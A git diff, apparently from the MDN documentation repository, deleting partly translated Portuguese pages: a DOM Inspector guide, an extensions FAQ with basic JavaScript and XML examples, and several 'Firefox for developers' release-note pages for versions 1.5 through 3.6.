You should not use this approach to inspect chrome documents. Instead, ensure that the document loads via normal means and use the Inspect Chrome Document menupopup to select it for inspection.

- -

domi-inspect-chrome-popup.png

- -

When you inspect a web page with this method, a browser pane at the bottom of the DOM Inspector window will open up, displaying the web page. This allows you to use the DOM Inspector without having to use a separate browser window, or without embedding a browser in your application at all. If you find that the browser pane takes up too much space, you may close it, but you will not be able to observe any of the visual consequences of your actions.

- -

Utilizar o Inspetor de DOM

- -

Once you've opened the document for the page or chrome you are interested in, you'll see that it loads the DOM Nodes viewer in the document pane and the DOM Node viewer in the object pane. In the DOM Nodes viewer, there should be a structured, hierarchical view of the DOM. By clicking around in the document pane, you'll see that the viewers are linked; whenever you select a new node from the DOM Nodes viewer, the DOM Node viewer is automatically updated to reflect the information for that node. Linked viewers are the first major aspect to understand when learning how to use the DOM Inspector.

- -

Visualizadores do Inspetor de DOM

- -

Note that these viewers are just two viewers that the DOM Inspector provides. It's possible to use other viewers, but for now we'll stick to describing the DOM Nodes viewer and the DOM Node viewer.

- -

You can use the DOM Nodes viewer in the document pane of the DOM Inspector to find and inspect nodes  you are interested in. One of the biggest and most immediate advantages that this brings to your web and application development is that it makes it possible to find the markup and the nodes in which the interesting parts of a page or a piece of the user interface are defined. One common use of the DOM Inspector is to find the name and location of particular icon being used in the user interface, which is not an easy task otherwise. If you're inspecting a chrome document, as you select nodes in the DOM Nodes viewer, the rendered versions of those nodes are highlighted in the user interface itself. (Note that there are bugs which prevent the flasher from DOM Inspector APIs from working correctly on certain platforms.)

- -

If you inspect the main browser window, for example, and select nodes in the DOM Nodes viewer (other than the elements which have no visible UI as is the case with the endless list of script elements that are loaded into browser.xul), you will see the various parts of the browser interface being highlighted with a blinking red border. You can traverse the structure and go from the topmost parts parts of the DOM tree to lower level nodes, such as the "search-go-button" icon that lets users perform a query using the selected search engine.

- -

domi-edit-search-onclick.png

- -

Now, once you have selected a node like the "search-go-button" node, you can select any one of several viewers to display information about that node in the object pane of the DOM Inspector application window, all of which are available from the menupopup accessed from the upper left corner of the the object pane.

- -

domi-object-viewers.png

- -

In order to find out what the actual name of the file is being used to provide the search go icon, you can select the CSS Rules viewer from this menu and see the various selectors and rules that have been applied. The rule that applies the search icon to the element uses a class simple selector and uses a list-style-image property to point to a file in the current theme.

- -

The list of viewers available from the viewer menu gives you some idea about how extensive the DOM Inspector's inspecting capabilities are. The following descriptions provide an overview of what these viewers are about:

- -

The DOM Nodes viewer shows attributes of nodes that can take them, or the text content of text nodes, comments, and processing instructions. The attributes and text contents may also be edited.

- -

The Box Model viewer gives various metrics about XUL and HTML elements, including placement and size.

- -

The XBL Bindings viewer lists the XBL bindings attached to elements. If a binding extends another binding, the binding menulist will list them in descending order to to "root" binding.

- -

The CSS Rules viewer shows the CSS rules that are applied to the node. Alternatively, when used in conjunction with the Style Sheets viewer, the CSS Rules viewer lists all recognized rules from that style sheet in order. Properties may be also be edited. Rules applying to pseudo-elements do not appear.

- -

The JavaScript Object viewer gives a hierarchical tree of the object pane's subject. The JavaScript Object viewer also allows JavaScript to be evaluated by selecting the appropriate menuitem in the context menu.

- -

Ações básicas do visualizador de Nodos de DOM

- -

Selecionar elementos, com clique

- -

Another powerful interactive feature of the DOM Inspector is that when you have the DOM Inspector open and have enabled this functionality by choosing Edit > Select Element by Click or by clicking the little magnifying glass icon in the upper left portion of the DOM Inspector application, you can click anywhere in a loaded web page or the the inspect chrome document, and the element you click will be shown in the document pane in the DOM Nodes viewer and information displayed in the object pane.

- -

procurar por Nodos no DOM

- -

Another way to inspect the DOM is to search for particular elements you're interested in by ID, class, or attribute. When you select Edit > Find Nodes... or press Ctrl + F, the DOM Inspector displays a find dialog that lets you find elements in various ways, and that gives you incremental searching by way of the <F3> shortcut key.

- -

domi-find-appcontent.png

- -

Atualizar o DOM Dinamicamente

- -

Another feature to mention in this introduction is the ability is the ability the DOM Inspector gives you to dynamically update information reflected in the DOM about web pages, user interface, and other elements. Note that when the DOM Inspector displays information about a particular node or subtree, it presents individual nodes and their values (in the DOM, attributes are subnodes of elements, typically) in an active list. You can perform actions on the individual items in this list from the context menu and the Edit menu, both of which contain menutimes that allow you edit the values of those attributes.

- -

domi-edit-search-onclick.png

- -

This interactivity allows you to shrink and grow element size, change icons, and do other layout-tweaking updates—all without actually changing the DOM as it is defined in the file on disk.

- -

Gostar do Inspetor

- -

O 'Inspetor de DOM' can take some figuring out, but once you get used to it, you may find that these structured views of web pages and interfaces were exactly the aspects of your own application development that were missing. The DOM Inspector not only presents all this information about pages in a clear and structured way, it gives you way to find and update those structures, and it's simple to access via shortcuts and menus already available in the Mozilla browser. Used in concert with Mozilla tools like Venkman, the JavaScript debugger, the DOM Inspector can give you a complete view of any web page or DOM-based application interface.

diff --git "a/files/pt-pt/faq_extens\303\265es/index.html" "b/files/pt-pt/faq_extens\303\265es/index.html" deleted file mode 100644 index df98304739..0000000000 --- "a/files/pt-pt/faq_extens\303\265es/index.html" +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: FAQ Extensões -slug: FAQ_Extensões -tags: - - Extensões ---- -

Esse é um guia rápido de respostas para as perguntas mais frequentes sobre o desenvolvimento de Extensões.

-

Elas são escritas focadas mais no Firefox, mas a maioria é fácil de ser transferida para o SeaMonkey, Thunderbird ou qualquer desses outros aplicativos.

-

Se você está procurando um lugar para começar, tente nosso tutorial, Construir uma Extensão ou

-

MozillaZine's Getting started tutorial. Use o Extension Wizard para gerar um template para começar nele.

-

Tenha certeza de Setting up extension development environment.

-

Depurando

-

Você deve set development preferences antes de partir para depurar sua extensão.

-

O depurador em JavaScript Venkman pode ser viável em casos complexos, mas lembre-se de desligar a opção "Debug -> Exclude Browser Files" enquanto está trabalhando no código da extensão.

-

Como eu posso ver os erros no meu código?

-

Depois de set development preferences javascript.options.showInConsole para true, os erros serão mostrados no Console JavaScript. Note que apesar de seu nome todos os erros são mostrados lá.

-

Como eu posso mostrar o que minha extensão está fazendo?

-

Você pode usar o alert(), dump(), Components.utils.reportError(), ou até the console service para mostrar dados variáveis e o texto da depuração.

-

Por que meu código não roda corretamente?

-

Se o seu código não trabalha como o esperado, a primeira coisa que você deve fazer é checar o console JavaScript (veja sobre).

-

Um erro comum é tentar acessar a DOM (Document Object Model - Modelo de objeto do documento) de uma janela antes que ela esteja totalmente carregada. Isso acontece se você coloca o código de inicialização no topo do seu código -script- (i.e. fora de qualquer função). O conserto é usar um load para listar eventos para travar seu código até que a janela termine de carregar:

-
function exampleBrowserStartup(event)
-{
-  // coloque o código de inicialização aqui
-}
-window.addEventListener("load", exampleBrowserStartup, false);
-
-

Acessando um documento de uma página que não funciona

-

Para acessar um documento de uma página web atual através do browser.xul overlay, você deve usar o content.document, ao invés de apenas document que é o próprio documento da janela do navegador. Veja en:Working with windows in chrome code para mais detalhes. Você pode também, por padrão en:XPCNativeWrapper que previne você de acessar através do acesso de um "script-defined objects" na página web e fazer outras tarefas.

-

Aparece um erro de análise XML, mas o arquivo parece correto!

-

Uma fonte comum de erros de análise (como <font color="red">texto vermelho</font> com uma <font color="red">-------------^</font> abaixo) é um caracter & ou um < em seu código ou um valor de atributo, que tem uma função especial em XML. Por exemplo:

-
<button oncommand="window.open('http://example.com/q?param1=value&param2=val2')"/>
-
-

ou

-
<script>function lesser(a,b) { return a < b ? a : b; }</script>
-
-

O problema pode ser resolvido por uma das seguintes formas:

-
  1. substitua o caracter que não é representação de conflito XML (Exemplo: "&" -> "&amp;"<" -> "&lt;")
  2. (em caso de ser um nó de texto, como um código) coloque tags de CDATA ao redor:
    <script><![CDATA[
    -   function lesser(a,b) {
    -     return a < b ? a : b;
    -   }
    - ]]></script>
  3. Coloque seu código em um arquivo separado e inclua o nome dele:
    <script type="application/x-javascript" src="seucodigo.js"/>
  4. -
-

Código de Exemplo

-

A forma mais fácil para encontrar o código que você precisa para usar em algo útil é procurar uma extensão (ou parte do Mozilla mesmo) Isso faz o código e mostra como um código. (Os arquivos XPI e JAR usam o formato ZIP). Encontram-se algumas documentações em: lista de artigos relacionados com extensões no MDC, en:Code snippets, e Example code page on MozillaZine.

-

Onde posso encontrar mais ajuda?

-

Por favor veja en:Extensions:Other Resources e Extensões:Comunidade.

-

Antes de pedir ajuda, tenha certeza de configurar as preferências de depuração e cheque o console JavaScript para mensagens relacionadas. Também, não esqueça de fazer uma pequena busca antes de perguntar. E leia este FAQ!

-

Categorias

-

Interwiki Language Link

-

{{ languages( { "en": "en/Extension_Frequently_Asked_Questions", "es": "es/Preguntas_frecuentes_sobre_Extensiones", "fr": "fr/Foire_aux_questions_sur_les_extensions", "it": "it/Domande_frequenti_sulle_Estensioni", "ja": "ja/Extension_Frequently_Asked_Questions" } ) }}

diff --git a/files/pt-pt/firefox_1.5_para_desenvolvedores/index.html b/files/pt-pt/firefox_1.5_para_desenvolvedores/index.html deleted file mode 100644 index fdd748fd80..0000000000 --- a/files/pt-pt/firefox_1.5_para_desenvolvedores/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Firefox 1.5 para Desenvolvedores -slug: Firefox_1.5_para_Desenvolvedores -translation_of: Mozilla/Firefox/Releases/1.5 ---- -
{{FirefoxSidebar}}

 

- -

Firefox 1.5

- -

Como o primeiro lançamento no ciclo de desenvolvimento de produto Firefox 1.5 dedicada a desenvolvedores web e autores de Extensões para teste de compatibilidade, Firefox 1.5, baseado no motor Gecko 1.8, melhora o já melhor na classe suporte de normas e providencia novas capacidades para suportar a próxima geração de aplicações web. Firefox 1.5 tem como características, melhor suporte para CSS 2 e CSS 3, APIs para gráficos 2D com scripts e programáveis com SVG 1.1 e <canvas>, XForms e eventos XML, e satisfatórios realces em DHTML, JavaScript e DOM.

- -

Firefox 1.5 está disponível para o download em: http://www.mozilla.com/firefox/

- -

Ferramentas para Desenvolvedores

- -

Diversas ferramentas e extensões do browser estão disponíveis para ajudar no suporte do Firefox 1.5 aos desenvolvedores.

- - - -

Nota: Algumas extensões não suportam atualmente o Firefox 1.5 e serão desabilitadas automaticamente.

diff --git a/files/pt-pt/firefox_2_para_desenvolvedores/index.html b/files/pt-pt/firefox_2_para_desenvolvedores/index.html deleted file mode 100644 index 3701ecfc87..0000000000 --- a/files/pt-pt/firefox_2_para_desenvolvedores/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Firefox 2 para desenvolvedores -slug: Firefox_2_para_desenvolvedores -translation_of: Mozilla/Firefox/Releases/2 ---- -
{{FirefoxSidebar}}

Novas características para desenvolvedores no Firefox 2

- -

Firefox 2 introduz uma vasta gama de características e potencialidades novas.

- -

Se não houver um link para algum título abaixo, é um título provisório do MDC até que o artigo esteja escrito.

- -

Para desenvolvedores de aplicações e web sites

- -
-
Microsummaries
-
Microsummaries são uma nova maneira de web sites fornecerem material de referência rápida para usuários. Páginas onde existe um gerador de microsummary podem ser adicionadas à barra de favoritos com conteúdo que atualiza periodicamente baseado na especificação microsummary.
-
- -
-
Creating a Microsummary
-
Um tutorial sobre como criar um gerador microsummary.
-
- -
-
Creating MozSearch plugins
-
Firefox 2 suporta MozSearch, um formato plugin de pesquisa baseado no OpenSearch.
-
- -
-
OpenSearch support in Firefox
-
Firefox 2 suporta também o formato Amazon A9's OpenSearch para plugins de pesquisa.
-
- -
-
Supporting search suggestions in search plugins
-
Como fazer seu plugin MozSearch suportar sugestões de pesquisa, que aparecem em uma caixa popup ao digitar na barra da busca.
-
- -
-
New in JavaScript 1.7
-
Firefox 2 suporta JavaScript 1.7, que possui novas características incluindo let, destructuring assignment, geradores e iteradores, e array comprehensions.
-
- -
-
WHATWG Client-side session and persistent storage
-
Sessão client-side e armazenamento permanente permitem que aplicações web armazenem dados estruturados no lado do cliente.
-
- -
-
SVG in Firefox
-
Firefox 2 tem suporte à SVG (Scalable Vector Graphics) melhorado, implementando o elemento <textPath> e adicionando suporte a alguns atributos não suportados previamente.
-
- -

Para desenvolvedores de extensões e XUL

- -
-
Session restore API
-
Contribuindo com itens a serem salvos e restaurados através das sessões do Firefox.
-
- -
-
Feed content access API
-
Esta API ainda está sendo revisada; documentação estará disponível em breve.
-
- -
-
SAX support
-
Parser API baseada em eventos de XML.
-
- -
-
Adding search engines from web pages
-
Código Javascript pode instruir Firefox a instalar novos plugins de pesquisa escritos com o formato OpenSearch ou Sherlock.
-
- -
-
Adding phishing protection data providers
-
É possível realçar a proteção phishing? do Firefox adicionando fornecedores adicionais de dados ao sistema de navegação seguraainda não encontrei um bom termo - Leandro o que voce acha - Kay - bom Kay, obrigado. :) Caso queira nos ajudar com outras traduções, entre em contato através da página MDC:Comunidade.
-
- -
-
Storage
-
Firefox 2 introduz o mozStorage, uma arquitetura de base de dados baseada no sqlite.
-
- -
-
Best practices for extension versioning
-
Como usar números de versão para tratar de todas as versões de pré-lançamento do firefox 2.
-
- -

Novas características para usuários finais

- -

Para conhecer as novidades para usuários finais das versões 2.0, visite o br.mozdev.

diff --git a/files/pt-pt/firefox_3.5_para_desenvolvedores/index.html b/files/pt-pt/firefox_3.5_para_desenvolvedores/index.html deleted file mode 100644 index ec89c2b039..0000000000 --- a/files/pt-pt/firefox_3.5_para_desenvolvedores/index.html +++ /dev/null @@ -1,260 +0,0 @@ ---- -title: Firefox 3.5 para desenvolvedores -slug: Firefox_3.5_para_desenvolvedores -translation_of: Mozilla/Firefox/Releases/3.5 ---- -
{{FirefoxSidebar}}

O Firefox 3.5 introduz várias funcionalidades novas, bem como suporte adicional e melhorado para uma larga variedade de padrões web. Este artigo oferece uma extensa lista, com links para artigos cobrindo as melhorias mais importantes.

-

Novas funcionalidades para desenvolvedores no Firefox 3.5

-

Para desenvolvedores de web sites e aplicações

-

Suporte a HTML 5

-
-
- Usando áudio e vídeo no Firefox
-
- O Firefox 3.5 adicionou suporte para os elementos de áudio e vídeo do HTML 5.
-
- Recursos offline no Firefox (EN)
-
- O Firefox 3.5 agora suporta totalmente as especificações de recursos offline do HTML 5.
-
- Arrastar e largar (drag and drop) (EN)
-
- As APIs de arrastar e soltar do HTML 5 permitem o suporte para  arrastar e soltar itens dentro e entre web sites. Isto também proporciona uma API simples para uso em extensões e aplicações baseadas no Mozilla.
-
-

Novas funcionalidades do CSS suportadas

-
-
- Suporte a fontes baixáveis
-
- A nova @font-face @rule permite que páginas web proporcionem fontes baixáveis, dessa forma estes sites podem ser renderizados exatamente como o autor da página espera.
-
- Consulta de mídia CSS
-
- O Firefox 3.5 suporta consulta de mídia CSS, que melhora o suporte às folhas de estilo dependentes de mídias.
-
- :before e :after atualizados para o CSS 2.1
-
- Os pseudo-elementos :before e :after foram atualizados para o suporte total do CSS 2.1, adicionando suporte para position, float, list-style-*, e algumas propriedades display.
-
- opacity (en)
-
- A estensão Mozilla -moz-opacity para o CSS foi removida em favor da propriedade padrão opacity.
-
- text-shadow (en)
-
- A propriedade text-shadow, que permite ao conteúdo web especificar efeitos de sombra para aplicar em textos e decorações de texto, agora é suportada.
-
- word-wrap (en)
-
- Esta nova propriedade suportada permite ao conteúdo especificar quando as linhas podem ou não serem quebradas no meio de palavras para prevenir o extravasamento quando uma outra string não-quebrável é muito longa para ocupar uma única linha.
-
- -moz-box-shadow (en)
-
- -moz-border-image (en)
-
- -moz-column-rule (en)
-
- -moz-column-rule-width (en)
-
- -moz-column-rule-style (en)
-
- -moz-column-rule-color (en)
-
- -moz-column-gap (en)
-
- O Firefox 3.5 adicionou suporte para estas extensões Mozilla ao CSS.
-
- O valor de cor -moz-nativehyperlinktext (en)
-
- Este novo valor de cores representa a cor de hiperlink padrão do sistema do usuário.
-
- As novas propriedades -moz-window-shadow (en) e -moz-system-metric(mac-graphite-theme) (en)
-
- Estas novas propriedades CSS foram adicionadas para facilitar as edições de temas.
-
- Novos valores para -moz-appearance (en)
-
- Os valores -moz-win-glass e -moz-mac-unified-toolbar foram adicionados em -moz-appearance.
-
- Usando transformações CSS
-
- O Firefox 3.5 suporta transformações CSS. Veja -moz-transform (en) e -moz-transform-origin (en) para detalhes.
-
- :nth-child (en)
-
- :nth-last-child (en)
-
- :nth-of-type (en)
-
- :nth-last-of-type (en)
-
- :first-of-type (en)
-
- :last-of-type (en)
-
- :only-of-type (en)
-
- Todos estes seletores são agora suportados pelo Firefox 3.5.
-
-

Novas funcionalidades da DOM

-
-
- localStorage
-
- O Firefox 3.5 adiciona suporte para a propriedade localStorage do HTML 5, que proporciona uma maneira para as aplicações web armazenarem dados localmente no computador do cliente.
-
- Using DOM workers (EN)
-
- O Firefox 3.5 suporta que trabalhadores (workers) DOM permitam facilmente o suporte para multi-threading em aplicações web.
-
- Using geolocation (EN)
-
- O Firefox 3.5 suporta a API de Geolocalização (Geolocation API), que permite a aplicações web obterem informações sobre a localização atual dos usuários se um provedor desta informação estiver instalado e habilitado.
-
- Using JSON in Firefox (EN)
-
- O supore para JSON está agora integrado ao DOM.
-
- Locating DOM elements using selectors (EN)
-
- A API de seletores (selectors API) permite consultar um documento para localizar os elementos que combinam com uma regra de seleção dada.
-
- The NodeIterator object (EN)
-
- O objeto NodeIterator proporciona suporte para iteração sobre a lista de nós em uma subárvore DOM.
-
- The MozAfterPaint event (EN)
-
- Este novo evento DOM é enviado após realizar atualizações de pintura em janelas.
-
- The MozMousePixelScroll event (EN)
-
- Este novo evento DOM permite a detecção de eventos de rolagem do mouse baseada em pixels ao invés de eventos de rolagem baseados em linhas.
-
-

Novas funcionalidades JavaScript

-
-
- Object.getPrototypeOf() (EN)
-
- Este novo método retorna o protótipo de um objeto específico.
-
- Novos métodos trim no objeto String
-
- O objeto String (en) tem agora os métodos trim() (en), trimLeft() (en) e trimRight() (en).
-
-

Rede

-
-
- Cross-site access controls for HTTP (EN)
-
- No Firefox 3.5, agora é possível para requisições HTTP, incluindo as feitas por XMLHttpRequest (en), trabalhar através de domínios, se o servidor suportar isso.
-
- Progress events for XMLHttpRequest (EN)
-
- Eventos de progresso agora são oferecidos para permitir que extensões monitorem o progresso de requisições.
-
- Suporte a XMLHttpRequest síncrona melhorado
-
- DOM Timeout e Input Events agora são omitidos durante uma XMLHttpRequest síncrona.
-
- Controlling DNS prefetching (EN)
-
- O Firefox 3.5 proporciona pré-carregamento DNS (DNS prefetching), através do qual realiza a resolução do nome do domínio antes do tempo para links incluídos na página atual, com o objetivo de poupar tempo quando os links forem realmente clicados. Este artigo descreve como você pode modificar seu web site para desabilitar o pré-carregamento, ou para ajustar como o pré-carregamento opera.
-
-

Novas funcionalidades Canvas

-
-
- HTML 5 text API for canvas elements (EN)
-
- Os elementos Canvas agora suportam a API de texto do HTML 5.
-
- Shadow effects in a canvas (EN)
-
- Os efeitos de sombra do Canvas agora são suportados.
-
- atributo moz-opaque
-
- Adicionado o atributo DOM, moz-opaque, que permite ao canvas saber quando a translucidez será um fator ou não. Se o canvas sabe que não há translucidez, a performance de pintura pode ser otimizada.
-
-

Novas funcionalidades SVG

-
-
- Applying SVG effects to HTML content (EN)
-
- Você pode aplicar efeitos SVG ao conteúdo HTML e XHTML; este artigo descreve como.
-
-

Novas funcionalidades - Miscelânea

-
-
- ICC color correction in Firefox (EN)
-
- O Firefox 3.5 agora suporta a correção de cores ICC para imagens marcadas.
-
- O atributo defer é agora suportado no elemento script (EN)
-
- Este atributo indica ao navegador que ele pode optar por continuar a analisar e renderizar a página sem aguardar o término da execução do script.
-
-

Outras melhorias

- -

Para desenvolvedores XUL e de complementos

-

Se você é um desenvolvedor de extensões, você deve começar lendo Atualizando extensões para o Firefox 3.5, que oferece um panorama útil de mudanças que podem afetar a sua extensão.

-

Novos componentes e funcionalidades

-
-
- Supporting private browsing mode (EN)
-
- O Firefox 3.5 oferece o modo de Navegação Privada, que não grava as atividades do usuário. Extensões podem suportar a navegação privada seguindo as orientações oferecidas por este artigo.
-
- Security changes in Firefox 3.5 (EN)
-
- Este artigo cobre as mudanças relacionadas à segurança no Firefox 3.5.
-
- Theme changes in Firefox 3.5 (EN)
-
- Este artigo cobre as mudanças relacionadas à temas no Firefox 3.5.
-
- Monitoring WiFi access points (EN)
-
- Código com privilégios UniversalXPConnect agora podem monitorar a lista dos pontos de acesso disponíveis, obtendo informações de seus SSIDs, endereços MAC, e força de sinal.  Isto pode ser usado em conjunto com geolocalização (Geolocation) para oferecer serviço de localização baseado em WiFi.
-
-

Mudanças e melhorias notáveis

- -

Novas características para usuários finais

-

Experiência do usuário

- -

Segurança e Privacidade

- -

Performance

- -

Veja também

- diff --git a/files/pt-pt/firefox_3.6_para_desenvolvedores/index.html b/files/pt-pt/firefox_3.6_para_desenvolvedores/index.html deleted file mode 100644 index 87e983ee35..0000000000 --- a/files/pt-pt/firefox_3.6_para_desenvolvedores/index.html +++ /dev/null @@ -1,309 +0,0 @@ ---- -title: Firefox 3.6 para desenvolvedores -slug: Firefox_3.6_para_desenvolvedores -translation_of: Mozilla/Firefox/Releases/3.6 ---- -

Firefox 3.6 oferece suporte para padrões web novos e em desenvolvimento, performance melhorada e uma boa experiência para usuários web e desenvolvedores. Está página proporciona links para artigos cobrindo as novas capacidades do Firefox 3.6.

- -

Para desenvolvedores de websites e aplicações

- -

CSS

- -
-
Using gradients
-
Firefox 3.6 adicionou o suporte às propriedades sugeridas -moz-linear-gradient e -moz-radial-gradient para background.
-
Multiple backgrounds
-
A propriedade background (assim como background-color, background-image, background-position, background-repeat e background-attachment) agora suporta múltiplos fundos de tela. Isto permite a especificação de múltiplos fundos de tela que são renderizados um sobre o outro, em camadas.
-
Mozilla-specific media features
-
Características de mídia foram adicionadas para o sistema de métricas específico da Mozilla, então consultas de mídia podem ser usadas para checar mais seguramente a disponibilidade de características como o suporte a toque.
-
Scaling background images
-
A propriedade background-size do CSS 3 Backgrounds and Borders draft é agora suportada sob o nome -moz-background-size.
-
WOFF font support
-
@font-face agora suporta arquivos de fonte baixáveis no formato WOFF.
-
Pointer events
-
A propriedade pointer-events permite ao conteúdo especificar quando um elemento pode ser o alvo ou não de eventos com o ponteiro do mouse.
-
- -

Miscelânea de mudanças no CSS

- - - -

HTML 

- -
-
Using files from web applications
-
Suporte para a nova API de Arquivos HTML5 foi adicionada ao Gecko, tornando possível para aplicações web acessar arquivos locais selecionados pelo usuário. Isto inclui suporte para a seleção de múltiplos arquivos usando o novo atributo multiple do elemento HTML input type="file".
-
HTML5 vídeo suporta quadros poster
-
O atributo poster é agora suportado pelo elemento video, permitindo ao conteúdo especificar um quadro poster a ser exibido até que o vídeo comece a tocar.
-
Checkboxes e radio buttons suportam a propriedade indeterminate
-
Os elementos HTML input dos tipos checkbox e radio agora suportam a propriedade indeterminate, que permite um terceiro estado "indeterminado".
-
A suavização de imagens em canvas pode ser controlada
-
A nova propriedade mozImageSmoothingEnabled pode ser usada para ativar e desativar a suavização de imagens quando mudando a escala em elementos canvas.
-
Execução de script assíncrona
-
Configurando o atributo async no elemento script, o script não bloqueará o carregamento ou exibição do resto da página. Ao invés, o script executa assim que for baixado.
-
- -

JavaScript

- -

O Gecko 1.9.2 introduz o JavaScript 1.8.2, o qual adiciona algumas características da linguagem do ECMAScript 5 standard:

- - - -

DOM

- -
-
- -

Miscelânea de mudanças no DOM

- - - -
-
Web workers podem agora se auto-terminar
-
Workers agora suportam o método nsIWorkerScope.close(), que permite a eles, terminá-los eles mesmos.
-
Arrastar e soltar (drag and drop) agora suportam arquivos
-
O objeto DataTransfer previsto para arrastar listeners agora inclui uma lista de arquivos que foram arrastados.
-
Checando para ver se um elemento combina com um seletor CSS especificado
-
O novo método element.mozMatchesSelector permite a determinação se um elemento combina ou não com um seletor CSS especificado. Veja bug 518003.
-
Detecting device orientation
-
 
-
O conteúdo pode agora detectar a orientação do dispositivo se ele possuir um acelerômetro suportado, usando o evento MozOrientation; veja window.onmozorientation para detalhes. O Firefox 3.6 suporta o acelerômetro em laptops Mac.
-
Detecting document width and height changes
-
O novo evento MozScrollAreaChanged  é despachado sempre que as propriedades scrollWidth e/ou scrollHeight do documento mudam.
-
 
-
- -

XPath

- -
-
O método choose() do XPath é agora suportado
-
O método choose() é agora suportado pela nossa implementação do XPath.
-
- -

Para desenvolvedores XUL e de complementos

- -

Se você é um desenvolvedor de extensões, deveria começar lendo Updating extensions for Firefox 3.6, o qual oferece uma introdução útil de que mudanças podem afetar sua extensão. Desenvolvedores de plug-ins deveriam ler Updating plug-ins for Firefox 3.6.

- -

Novas Características

- -
-
Detecting device orientation
-
O conteúdo pode agora detectar a orientação do dispositivo se ele possuir um acelerômetro suportado, usando o evento MozOrientation; veja window.onmozorientation para detalhes. O Firefox 3.6 suporta o acelerômetro em laptops Mac.
-
Monitoring HTTP activity
-
É possível agora monitorar transações HTTP para observar requisições e respostas em tempo real.
-
Working with the Windows taskbar
-
É possível agora customizar a aparência das janelas na barra de tarefas no Windows 7 ou mais recentes.
-
- -

Places

- - - -

Storage

- -
-
Locale-aware collation of data is now supported by the Storage API
-
O Gecko 1.9.2 adicionou várias novos métodos de agrupamento para proporcionar o agrupamento otimizado (classificação) de resultados usando técnicas de localização-consciente.
-
Properties on a statement can now be enumerated
-
Você pode agora usar a enumeração for..in para enumerar todas as propriedades de uma declaração.
-
mozIStorageStatement's getParameterIndex teve o comportamento alterado entre 3.5 e 3.6.
-
Veja bug 528166 para detalhes.
-
Ligar vários conjuntos de parâmetros assincronamente para executar uma declaração.
-
Veja bug 490085 para detalhes. A documentação virá em breve.
-
- -

Preferências

- - - -

Temas

- -

Veja Updating themes for Firefox 3.6 para detalhes.

- -
-
Lightweight themes
-
O Firefox 3.6 suporta temas leves; estes são temas fáceis de criar que simplesmente aplicam uma imagem de fundo ao topo (barra de endereços e barra de botões) e inferior (barra de estado (status)) das janelas do navegador. Esta é uma integração à arquitetura de temas existente Personas no Firefox.
-
- -

 

- -

Miscelânea

- - - -

Para desenvolvedores Firefox/Gecko

- -

Algumas mudanças são interessantes somente se você trabalha internamente no próprio Firefox.

- -

Interfaces mescladas

- -

As seguintes interfaces foram unidas:

- - - -

Interfaces removidas

- -

As seguintes interfaces foram removidas inteiramente porque eram obsoletas, não utilizadas ou não implementadas:

- - - -

Interfaces movidas

- -

As seguintes interfaces foram realocadas de seus arquivos IDL anteriores em novos:

- - - -

Um grande número de interfaces foram movidas. Veja Interfaces moved in Firefox 3.6 para uma lista completa.

- -

Outras mudanças na interface

- -

As seguintes alterações foram feitas:

- - - -

 

- -

Mudanças na acessibilidade do código

- - - -

Veja também

- - diff --git a/files/pt-pt/firefox_3_para_desenvolvedores/index.html b/files/pt-pt/firefox_3_para_desenvolvedores/index.html deleted file mode 100644 index 0775f2c802..0000000000 --- a/files/pt-pt/firefox_3_para_desenvolvedores/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Firefox 3 para desenvolvedores -slug: Firefox_3_para_desenvolvedores ---- -

Vou incluir documentos abaixo na lista: -- Quer estar adiante da curva e certificar-se que suas extensões, web sites ou aplicações estão prontas para a próxima geração do Firefox? Verifique em nosso conteúdo especialmente organizado para suas necessidades: * Atualizando extensões para o Firefox 3 * Atualizando aplicações web para o Firefox 3

-

Novas características para desenvolvedores no Firefox 3

-

O Firefox 3 será liberado em breve, e já existe um número interessante de mudanças implementadas. Abaixo está uma lista de algumas das características.

-

Para desenvolvedores de aplicações e web sites

-

Veja também Mudanças no Gecko 1.9 que afetam websites.

-

Web Applications 1.0

-

Mark Finkle (mfinkle em #devmo) dirige o trabalho de documentação nas Web Applications 1.0

- -
Aplicações Web 1.0 (HTML5, XHTML5) é ainda um esboço sendo trabalhado, não final.
-

Recursos offline

-

A implementação está em progresso - veja {{ Bug(367447) }} e dependências. Spec em progresso está em http://www.campd.org/stuff/Offline Cache.html.

-

CSS

-

Eric Shepherd (sheppy em #devmo) dirige a documentação CSS para o Firefox 3.

- -

DOM

- -

JavaScript

- -

XSLT/XPath

- -

SVG

- -

Para desenvolvedores de extensões e XUL

-

Novos elementos XUL

-

Mark Finkle (mfinkle in #devmo) dirige a documentação de novos elementos XUL.

-

O XUL no Firefox 3 suporta um número de novos elementos:

- -

Melhorias da árvore

- -

Melhorias do menu

-

Sérias melhorias nos elementos <menu> e <menulist> foram feitas ({{ Bug(333023) }}):

- -

Melhorias da caixa de texto

- -

Melhorias para outros elementos

- -

Mudanças na disposição

-

A documentação de modelos está sendo dirigida por Mark Finkle (mfinkle em #devmo).

-

Os modelos tiveram significativas melhoras no Firefox 3. A melhora da chave permite o uso de processadores customizados inquirir para manipular outros tipos de códigos de dados adicionalmente ao RDF. Uma nova sintaxe de inquisição torna isto possível. Uma descrição completa das novas características disponíveis para modelos {{ interwiki('wikimo', 'XUL:Template_Features_in_1.9', 'está disponível') }}. ({{ Bug(285631) }})

-

Outras melhoras nos modelos:

- -

Serviço inativo

-

Um novo serviço foi adicionado para determinar quanto tempo o usuário está inativo (que é, desde a última vez que ele pressionou uma tecla ou moveu seu mouse). Este serviço implementa a interface nsIIdleService.

-

Erros notáveis reparados

- -

Places

- -

Gerenciador de download

- -

Gerenciador de senha

- -

Coletor do ciclo de XPCOM

- -

Veja também

- -

*Updating extensions for Firefox 3

- -

{{ languages( { "en": "en/Firefox_3_for_developers", "fr": "fr/Firefox_3_pour_les_d\u00e9veloppeurs", "ja": "ja/Firefox_3_for_developers", "pl": "pl/Firefox_3_dla_programist\u00f3w", "ko": "ko/Firefox_3_for_developers" } ) }}

